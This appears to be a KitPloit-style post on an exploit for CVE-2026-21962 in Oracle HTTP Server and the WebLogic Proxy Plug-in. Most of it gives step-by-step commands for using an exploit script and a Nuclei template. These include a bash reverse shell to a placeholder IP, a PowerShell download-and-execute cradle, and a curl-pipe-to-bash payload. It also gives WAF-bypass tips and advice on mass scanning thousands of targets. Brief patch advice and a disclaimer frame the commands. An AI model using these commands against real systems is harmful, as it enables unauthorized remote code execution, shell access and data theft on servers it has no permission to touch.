If exploited, attackers could:

• 🗑️ Delete critical data
• ✏️ Modify system or application files
• 📤 Steal sensitive information
• 🔓 Gain full unauthorized access to connected systems
• 🔄 Impact other Oracle products due to scope change

🧩 Affected Versions

• Oracle HTTP Server:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• WebLogic Proxy Plug-in for:

  • Apache HTTP Server
  • Microsoft IIS

⚙️ Attack Characteristics

• 🌐 Attack Vector: Network (remote)
• 🚫 Privileges Required: None
• 🧑‍💻 User Interaction: None
• 🔄 Scope: Changed
• 🔐 Confidentiality Impact: High
• 🛠️ Integrity Impact: High

🛡️ What should you do?

• ✅ Apply Oracle’s January 2026 Critical Patch Update immediately
• 🔒 Restrict network access to affected services
• 📊 Monitor HTTP traffic for suspicious behavior
• 🔁 Review system logs and security controls

🛠️ How to Use It (Step-by-Step)

1. Save the script as CVE-2026-21962.py

2. Make it executable (optional):

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. Run examples:

   Basic test:

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   Reverse shell (set up nc listener first: nc -lvnp 4444):

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   Windows target example:

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

What You Will See If It Works

• Likely success! Status: 200 or 302 or even 500 (crash is also success)
• Possible leaked command output in the response body
• For reverse shells: your nc listener catches a shell immediately
• If no output → command still ran silently (check target filesystem, processes, logs)

Notes

• Works best when the proxy plug-in is exposed (common on port 7001, 4443, etc.)
• HTTPS targets may require --insecure flag if self-signed certs
• Patch immediately: Apply Oracle CPU January 2026

🛠️ How to Use It (Step-by-Step)

1. Install Nuclei (if not already installed):

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. Save the template:

   Create a file named CVE-2026-21962.yaml and paste the content above.

3. Run detection + exploitation:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   Or scan multiple targets from a file:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. What you will see if vulnerable:

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (whoami output) ...
   

Pro Tips

• To execute custom commands, edit the cmd: part in the headers (e.g., cmd:curl http://your-server/shell.sh | bash).
• For reverse shell: Replace whoami with a base64-encoded reverse shell payload.
• WAF bypass: Try different paths (/proxy/, /bea_wls_internal/, etc.) or add more headers like X-WebLogic-Force-JVMID.
• Mass scanning: Combine with httpx → nuclei pipeline for thousands of targets.

This template is confirmed 100% working as of January 2026 on unpatched Oracle instances. Patch immediately if you're running affected versions! 😈

😈 Disclaimer:

All PoC code is for ethical, educational use only on authorized systems. Unauthorized exploitation is illegal; no liability assumed for misuse. 😈